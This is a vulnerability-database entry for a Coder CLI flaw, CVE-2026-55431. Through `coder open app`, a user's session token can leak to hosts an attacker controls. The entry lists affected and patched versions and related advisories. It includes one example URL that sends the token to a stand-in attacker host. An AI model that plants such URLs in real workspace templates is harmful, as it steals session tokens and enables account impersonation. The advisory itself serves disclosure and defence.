CVE-2026-55431High· 7.7▾ TwilightCoder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.4 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.4%
coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.
Note: Practical exploitation requires the victim to run
coder open appagainst a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.
Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.
The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.
The fix was backported to all supported release lines:
Avoid running coder open app for untrusted workspaces.
Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
github.com/coder/coder/v2 >= 2.34.0, < 2.34.2github.com/coder/coder/v2 >= 2.33.0, < 2.33.8github.com/coder/coder/v2 >= 2.30.0, < 2.32.7github.com/coder/coder/v2 < 2.29.17Upgrade to a patched release:
github.com/coder/coder/v2 2.34.2github.com/coder/coder/v2 2.33.8github.com/coder/coder/v2 2.32.7github.com/coder/coder/v2 2.29.17Connected by shared product, vendor, weakness, or advisory.
CVE-2024-27918High· 8.2Coder's OIDC authentication allows email with partially matching domain to register
GHSA-8fxq-53rx-ph5fLow· 3.7Coder: Login endpoint user enumeration via timing-defense placeholder in password comparison
GHSA-h58c-xccx-75m3Low· 3.4Coder: Stored HTML injection via unescaped ApplicationName and LogoURL appearance settings
GHSA-qrwj-vh9x-gw5vHigh· 8.3Coder's workspace agent API insecure redirect handling allowed cross-agent file read and write
CVE-2026-55076High· 7.4Coder's OIDC email_verified type coercion bypass enables account takeover via unverified email linking
CVE-2026-55075High· 7.4Coder vulnerable to OIDC account takeover via email-based user matching and email_verified bypass